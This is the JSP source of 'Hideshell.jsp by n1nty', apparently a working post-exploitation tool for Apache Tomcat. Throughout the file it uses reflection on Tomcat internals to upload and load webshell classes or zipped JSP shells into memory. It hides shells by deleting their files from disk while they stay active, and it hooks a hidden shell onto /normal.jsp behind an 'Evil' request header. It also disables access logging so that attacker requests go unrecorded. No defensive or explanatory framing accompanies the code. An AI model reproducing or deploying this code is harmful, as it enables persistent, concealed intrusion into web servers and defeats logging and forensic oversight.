<%@page import="java.awt.SystemColor"%> <%@page import="org.apache.jasper.JspCompilationContext"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.util.zip.*"%> <%@ page import="javax.servlet.jsp.*"%> <%@page import="org.apache.jasper.EmbeddedServletOptions"%> <%@page import="org.apache.jasper.compiler.JspRuntimeContext"%> <%@page import="org.apache.jasper.servlet.JspServletWrapper" %> <%@page import="org.apache.catalina.valves.AccessLogValve"%> <%@page import="org.apache.catalina.AccessLog"%> <%@page import="org.apache.catalina.core.AccessLogAdapter"%> <%@page import="org.apache.catalina.core.StandardHost"%> <%@ page import="org.apache.catalina.core.ApplicationContext"%> <%@ page import="org.apache.catalina.core.StandardContext"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.lang.reflect.*" %><%! private static class AttachingWrapper extends JspServletWrapper { private JspServletWrapper original = null; private JspServletWrapper evil = null; public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options, String jspUri, JspRuntimeContext rctxt) { super(config, options, jspUri, rctxt); this.original = original; this.evil = evil; } public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException { if (request.getHeader("Evil") != null) { try { nolog(request); } catch (Exception ex){} this.evil.service(request, response, precompile); } else { this.original.service(request, response, precompile); } } } private static class SpyClassLoader extends ClassLoader{ private byte[] zipdata = null; private JspWriter out = null; private Map cls = new HashMap(); public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception { super(parent); this.out = out; this.zipdata = zipdata; this.processZip(); } private void processZip() throws Exception { if (this.zipdata != null) { ZipInputStream stream = null; stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata)); byte[] buffer = new byte[2048]; ZipEntry entry; while((entry = stream.getNextEntry())!=null) { ByteArrayOutputStream output = null; try { output = new ByteArrayOutputStream(); int len = 0; while ((len = stream.read(buffer)) > 0) { output.write(buffer, 0, len); } } finally { if(output!=null) output.close(); //this.out.println(entry.getName()); this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray()); } } stream.close(); } } protected Class findClass(String name) throws ClassNotFoundException { byte[] clsdata = this.cls.get(name+".class"); if (clsdata != null) { return super.defineClass(name, clsdata, 0, clsdata.length); } return null; } public Class defineClass(String name,byte[] b) { return super.defineClass(name,b,0,b.length); } } private static class UploadBean { private ServletInputStream sis = null; private OutputStream targetOutput = null; private byte[] b = new byte[1024]; private String fileName = null; public String getFileName() { return this.fileName; } public void setTargetOutput(OutputStream stream) { this.targetOutput = stream; } public UploadBean(OutputStream stream) { this.setTargetOutput(stream); } public void parseRequest(HttpServletRequest request) throws IOException { sis = request.getInputStream(); int a = 0; int k = 0; String s = ""; while ((a = sis.readLine(b,0,b.length))!= -1) { s = new String(b, 0, a,"UTF-8"); if ((k = s.indexOf("filename=\""))!= -1) { s = s.substring(k + 10); k = s.indexOf("\""); s = s.substring(0, k); File tF = new File(s); if (tF.isAbsolute()) { fileName = tF.getName(); } else { fileName = s; } k = s.lastIndexOf("."); // suffix = s.substring(k + 1); upload(); } } } private void upload() throws IOException{ try { OutputStream out = this.targetOutput; int a = 0; int k = 0; String s = ""; while ((a = sis.readLine(b,0,b.length))!=-1) { s = new String(b, 0, a); if ((k = s.indexOf("Content-Type:"))!=-1) { break; } } sis.readLine(b,0,b.length); while ((a = sis.readLine(b,0,b.length)) != -1) { s = new String(b, 0, a); if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { break; } out.write(b, 0, a); } out.close(); //if (out instanceof FileOutputStream) //out.close(); } catch (IOException ioe) { throw ioe; } } } private static final Map hiddenWrappers = new HashMap(); public static String makeWrapperUri(HttpServletRequest request) { String uri = request.getServletPath(); String pathinfo = request.getPathInfo(); if (pathinfo != null) { uri += pathinfo; } return uri; } public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) { JspServletWrapper wrapper = getHideShellWrapper(request, jctxt); String requestUri = makeWrapperUri(request); if (!wrapper.getJspUri().equals(requestUri)) { return false; } return true; } public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception { JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request)); if (wrapper != null) { wrapper.service(request, response, false); } else { response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen"); } } public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) { String wrapperUri = makeWrapperUri(request); JspServletWrapper self = jctxt.getWrapper(wrapperUri); return self; } public static void hideWrapper(JspServletWrapper wrapper) throws Exception { wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); JspCompilationContext ctxt = wrapper.getJspEngineContext(); EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { setFieldValue(jspServletOptions, "modificationTestInterval", 1); } } public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception { Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes); m.setAccessible(true); return m.invoke(obj, args); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); return f.get(obj); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); if (Modifier.isFinal(f.getModifiers())) { //reset final field Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); } f.set(obj, value); } public static String makeHiddenName(String wrapperName) { int lastIndex = wrapperName.lastIndexOf('/'); return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1); } public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) { JspCompilationContext ctxt = wrapper.getJspEngineContext(); if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) { return true; } return false; } public static void nolog(HttpServletRequest request) throws Exception { ServletContext ctx = request.getSession().getServletContext(); ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context"); StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context"); StandardHost host = (StandardHost)standardCtx.getParent(); AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog(); AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs"); for(AccessLog log:logs) { AccessLogValve logV = (AccessLogValve)log; String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition(); logV.setCondition(condition); request.setAttribute(condition, "n1nty_nolog"); } } %><% nolog(request); Object r = getFieldValue(request, "request"); Object filterChain = getFieldValue(r, "filterChain"); Object servlet = getFieldValue(filterChain, "servlet"); JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt"); if (!accessingSelf(request, jctxt)) { includeHiddenShell(request, response); return; } %> Hideshell.jsp by n1nty
    <% String action = request.getParameter("action"); if ("upload".equals(action)) { ByteArrayOutputStream byteout = new ByteArrayOutputStream(); UploadBean upload = new UploadBean(byteout); upload.parseRequest(request); boolean zip = upload.getFileName().endsWith(".zip"); String path = !zip ? "/test.jsp" : "/jspspy2010.jsp"; String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp"; javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt); hideWrapper(wrapper); wrapper.setReload(false); byte[] data = byteout.toByteArray(); byte[] bytes = new byte[data.length -2]; System.arraycopy(data, 0, bytes, 0, data.length -2); Class cls = null; if (zip) { cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName); } else { cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes); } if (cls != null) { Servlet s = (Servlet)cls.newInstance(); s.init(servletConfig); setFieldValue(wrapper, "theServlet", s); jctxt.addWrapper(path, getHideShellWrapper(request, jctxt)); hiddenWrappers.put(path, wrapper); } else { out.println("no class"); } } if (action == null || action.equals("list") || action.equals("upload")) { Map jsps = (Map)getFieldValue(jctxt, "jsps"); for (Map.Entry entry : jsps.entrySet()) { JspServletWrapper wrapper = entry.getValue(); %>
  • <% if (isHiddenJsp(request, entry.getKey(), wrapper)) { %> <%=entry.getKey() %> possible hidden file, Delete Attach to normal.jsp <% } else { %> Hide <%=entry.getKey() %> Attach to normal.jsp <% } %>
  • <% } } else if (action.equals("hide")) { String wrapperName = request.getParameter("wrapperName"); String hiddenWrapperName = makeHiddenName(wrapperName); if (jctxt.getWrapper(hiddenWrapperName) == null) { JspServletWrapper wrapper = jctxt.getWrapper(wrapperName); hideWrapper(wrapper); /* wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); JspCompilationContext ctxt = wrapper.getJspEngineContext(); EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { setFieldValue(jspServletOptions, "modificationTestInterval", 1); }*/ wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles(); if (wrapper == getHideShellWrapper(request, jctxt)) { // is hiding hideshell.jsp itself setFieldValue(wrapper, "jspUri", hiddenWrapperName); jctxt.addWrapper(hiddenWrapperName, wrapper); } else { jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt)); hiddenWrappers.put(hiddenWrapperName, wrapper); } jctxt.removeWrapper(wrapperName); JspCompilationContext ctxt = wrapper.getJspEngineContext(); new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); } out.println("done"); } else if (action.equals("delete")) { String wrapperName = request.getParameter("wrapperName"); jctxt.removeWrapper(wrapperName); hiddenWrappers.remove(wrapperName); out.println("done"); } else if (action.equals("attach")) { String wrapperName = request.getParameter("wrapperName"); String attachto = "/normal.jsp"; JspServletWrapper original = jctxt.getWrapper(attachto); if (original == null) { out.println("access /normal.jsp first"); return; } JspServletWrapper evil = jctxt.getWrapper(wrapperName); javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt); hideWrapper(attachingWrapper); attachingWrapper.setReload(false); hideWrapper(evil); jctxt.removeWrapper(wrapperName); jctxt.removeWrapper(attachto); jctxt.addWrapper(attachto, attachingWrapper); JspCompilationContext ctxt = evil.getJspEngineContext(); new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); // jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt)); // hiddenWrappers.put(attachto, attachingWrapper); } %>